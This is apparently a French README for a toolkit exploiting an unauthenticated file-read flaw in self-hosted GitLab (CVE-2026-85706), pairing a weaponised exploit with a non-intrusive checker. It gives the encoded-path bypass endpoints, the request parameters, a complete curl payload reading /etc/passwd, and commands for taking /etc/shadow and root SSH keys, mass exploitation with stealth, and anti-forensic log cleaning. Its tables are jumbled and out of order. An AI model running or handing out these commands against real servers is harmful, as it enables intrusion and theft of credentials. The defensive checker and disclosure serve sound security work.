Boîte à outils Python pour la lecture de fichiers non authentifiée GitLab CVE-2026-85706 : exploit weaponisé avec loot, shell, scan de masse, plus audit et reporting non intrusifs avec SafeChecker.

⚠️ USAGE ÉTHIQUE UNIQUEMENT – TESTS DE SÉCURITÉ AUTORISÉS
Ce dépôt fournit des outils destinés exclusivement aux professionnels de la sécurité autorisés, aux blue teams et aux testeurs d'intrusion.
Tout accès non autorisé à des systèmes informatiques est illégal en vertu du CFAA (États-Unis), du Computer Misuse Act (Royaume-Uni), du TCK 243/244 (Turquie) et de lois similaires dans le monde entier.
CVE‑2026‑85706 est une vulnérabilité critique de lecture arbitraire de fichiers locaux sans authentification dans GitLab CE/EE auto-hébergé (versions 18.7 à 19.3.1) qui permet à un attaquant non authentifié de lire n'importe quel fichier sur le serveur via une seule requête HTTP vers l'API des commits.
%63ommits./api/v4/projects/{id}/repository/commits ouvre le fichier spécifié dans file.path avant que l'authentification ne soit appliquée.% invalide, Rack renvoie le contenu dans un corps 400 Bad Request, divulguant ainsi l'intégralité du contenu.| Outil | Objectif | Utilisateur visé |
|---|---|---|
exploit.py | Boîte à outils complète et weaponisée avec lecture de fichiers non authentifiée, énumération du butin, extraction de jetons d'administration, scan de masse, shell interactif, rotation de proxy, mode furtif et rapports multi-formats. | Red teams / pentesters autorisés |
safechecker.py | Vérificateur de vulnérabilité non intrusif qui détecte la version de GitLab, valide l'exposition, audite les en-têtes de sécurité et évalue le risque sans lire aucun fichier. Génère des rapports JSON/CSV/HTML. | Blue teams / auditeurs de sécurité |
| Fonctionnalité | exploit.py | safechecker.py |
|---|---|---|
| Détection de vulnérabilité | ✅ | ✅ |
| Détection de version | ✅ | ✅ |
| Lecture de fichiers non authentifiée | ✅ | ❌ |
| Énumération du butin | ✅ | ❌ |
| Extraction de jetons d'administration | ✅ | ❌ |
| Shell interactif | ✅ | ❌ |
| Scan de masse (multi-thread) | ✅ | ✅ |
| Audit des en-têtes de sécurité | ❌ | ✅ |
| Vérification TLS/certificat | ❌ | ✅ |
| Mappage MITRE ATT&CK | ✅ | ✅ |
| Prise en charge de proxy | ✅ | ✅ |
| Rotation de proxy | ✅ | ❌ |
| Rotation de User‑Agent (OPSEC) | ✅ | ❌ |
| Jitter / délai (OPSEC) | ✅ | ❌ |
| Limiteur de débit adaptatif | ✅ | ✅ |
| Mode furtif | ✅ | ❌ |
| Usurpation d'empreinte TLS curl_cffi | ✅ | ❌ |
| Mode non intrusif (sûr) | ❌ | ✅ |
| Sortie JSON / JSONL / CSV / HTML | ✅ | ✅ |
| Sortie base de données SQLite | ✅ | ❌ |
| Notification webhook | ✅ | ✅ |
| Diff par rapport au scan précédent | ✅ | ✅ |
| Scénario | Outil recommandé |
|---|---|
| Blue Team – vérifier si votre GitLab est vulnérable | safechecker.py |
| Audit de sécurité – évaluation de vulnérabilité non intrusive | safechecker.py |
| Red Team – test d'intrusion autorisé avec exploitation complète | exploit.py |
| Bug Bounty – test de divulgation responsable | safechecker.py |
| Scan de masse – vérification de multiples cibles pour la vulnérabilité | exploit.py (détection uniquement) |
| Réponse à incident – vérifier si les systèmes sont compromis | safechecker.py |
git clone https://github.com/tc4dy/CVE-2026-85706-PoC-Toolkit
cd CVE-2026-85706-PoC-Toolkit
pip install -r requirements.txt
requests
urllib3
curl_cffi
rich
pyyaml
exploit.py| Paramètre | Description |
|---|---|
-u, --url | URL cible unique (ex. https://gitlab.example.com) |
-f, --file | Fichier contenant la liste des cibles (une par ligne) |
--pipe | Lire les cibles depuis stdin (pipeline subfinder/httpx) |
--read | Chemin(s) absolu(s) à lire, séparés par des virgules |
--wordlist | Fichier avec les chemins à lire (un par ligne) |
--project-id | Forcer un ID de projet spécifique |
--max-projects | Nombre max d'ID de projet à essayer (par défaut : 8) |
--auto | Récupérer automatiquement les fichiers GitLab à forte valeur |
--loot | Identique à --auto |
--shell | Shell interactif après exploitation |
--force | Scanner même si l'empreinte GitLab est faible |
-t, --threads | Threads pour multi-cibles (par défaut : 8) |
--timeout | Délai HTTP (par défaut : 15s) |
--retry | Nombre de tentatives (par défaut : 3) |
--retry-on | Codes HTTP à réessayer (par défaut : 429,500,502,503,504) |
--proxy | Proxy HTTP/HTTPS |
--proxy-list | Fichier avec les proxys pour rotation |
--proxy-rotate | Stratégie de rotation : round-robin, random, sticky |
--jitter | Ajouter un jitter aléatoire entre les requêtes |
--jitter-range | Jitter min,max secondes (par défaut : 0.1,2.0) |
--delay | Délai fixe entre les requêtes |
--stealth |
safechecker.py| Paramètre | Description |
|---|---|
-u, --url | URL cible unique (ex. https://gitlab.example.com) |
-f, --file | Fichier avec les cibles (une par ligne) |
-t, --threads | Threads pour multi-cibles (par défaut : 5) |
--timeout | Délai HTTP (par défaut : 10s) |
--rate-limit | Nombre max de requêtes par seconde (0 = illimité) |
--user-agent | Chaîne User-Agent personnalisée |
--insecure | Désactiver la vérification TLS (risque MITM) |
--webhook | URL de webhook (slack:, discord:, telegram:) |
--diff | Comparer avec le JSON du scan précédent |
-v, --verbose | Sortie verbeuse |
-o, --output | Fichier de sortie JSON |
--csv | Fichier de sortie CSV |
--report | Fichier de rapport HTML |
--mitre | Inclure le mappage MITRE ATT&CK (par défaut : activé) |
| # | Scénario | Commande |
|---|---|---|
| 1 | Vérification rapide de vulnérabilité | python safechecker.py -u https://gitlab.example.com |
| 2 | Audit détaillé avec rapport | python safechecker.py -u https://gitlab.example.com -o report.json --csv report.csv --report report.html -v |
| 3 | Audit de masse depuis un fichier | python safechecker.py -f targets.txt -t 10 --rate-limit 5 |
| 4 | Exploit en détection uniquement | python exploit.py -u https://gitlab.example.com --safe-mode |
| 5 | Lire un seul fichier | python exploit.py -u https://gitlab.example.com --read /etc/passwd |
| 6 | Lire plusieurs fichiers | python exploit.py -u https://gitlab.example.com --read /etc/passwd,/etc/shadow,/root/.ssh/id_rsa |
| 7 | Récupération automatique de fichiers à forte valeur | python exploit.py -u https://gitlab.example.com --auto |
| 8 | Shell interactif | python exploit.py -u https://gitlab.example.com --shell |
| 9 | Exploit de masse avec furtivité | python exploit.py -f targets.txt -t 20 --stealth --jitter --auto -o hits.jsonl --output-format jsonl |
| 10 | Pipeline depuis subfinder | subfinder -d example.com -silent | httpx -silent -sc | python exploit.py --pipe --auto -o hits.jsonl |
| 11 | Attaque complète avec sortie SIEM | python exploit.py -u https://gitlab.example.com --auto --grep "password|secret|token" --mitre --json-schema -o siem.json |
| 12 | Reprendre un scan interrompu | python exploit.py -f targets.txt --auto --resume state.json |
| 13 | Comparer deux scans | python safechecker.py -f targets.txt -o new.json --diff previous.json |
L'exploit utilise les points de terminaison GitLab et techniques de contournement suivants :
| Étape | Méthode | Point de terminaison | Description |
|---|---|---|---|
| 1. Contournement | POST | /api/v4/projects/{id}/repository/%63ommits | Le c encodé contourne Workhorse |
| 2. Contournement | POST | /api/v4/projects/{id}/%72epository/commits | Le r encodé dans repository |
| 3. Contournement | POST | /api/v4/projects/{id}/repository/commits/ | Contournement par barre oblique finale |
| 4. Contournement | POST | /api/v4/projects/{id}/repository/commits.json | Contournement par suffixe de format Grape |
| 5. API Files | POST | /api/v4/projects/{id}/repository/files/x | Route alternative |
file=&file.path=/etc/passwd&file.size=1
curl -sk -X POST "https://gitlab.example.com/api/v4/projects/1/repository/%63ommits?file=&file.path=/etc/passwd&file.size=1&Content-Type=application/x-www-form-urlencoded"
Ce logiciel est fourni à des fins éducatives et de tests de sécurité autorisés uniquement.
| Nettoyage des journaux (anti-forensique) | ✅ | ❌ |
| User‑Agent personnalisé | ✅ | ✅ |
| Contrôle de vérification SSL | ✅ | ✅ |
| Activer le mode furtif (rotation UA + X-Forwarded-For) |
--curl-cffi | Utiliser curl_cffi pour l'usurpation d'empreinte TLS |
--user-agent-file | Fichier avec les chaînes User-Agent |
--max-body | Taille maximale du corps de réponse (0 = illimité) |
--concurrent-per-host | Nombre max de requêtes simultanées par hôte |
--rate-limit | Nombre max de requêtes par seconde (0 = illimité) |
--exclude | Hôtes à exclure séparés par des virgules (motifs glob) |
--grep | Afficher uniquement les fuites correspondant à la regex |
--resume | Reprendre à partir du fichier d'état |
--notify | URL de notification (slack:, discord:, telegram:) |
--db | Enregistrer les résultats dans une base de données SQLite |
--output-format | Format de sortie : json, jsonl, csv, html |
-o, --output | Chemin du fichier de sortie |
-v, --verbose | Sortie verbeuse |
-q, --quiet | Mode silencieux |
--no-color | Désactiver les couleurs |
--no-banner | Pas de bannière |
--config | Fichier de configuration YAML/JSON |
--dry-run | Afficher le plan sans effectuer de requêtes |
--safe-mode | Lire uniquement /etc/hostname pour vérifier |
--timeout-profile | aggressive, normal, stealth |
--mitre | Inclure le mappage MITRE ATT&CK |
--fingerprint | Empreinte GitLab détaillée |
--cve-check | Vérifier les CVE associées |
--json-schema | Sortie avec schéma JSON pour SIEM |
--progress | Afficher la barre de progression (nécessite rich) |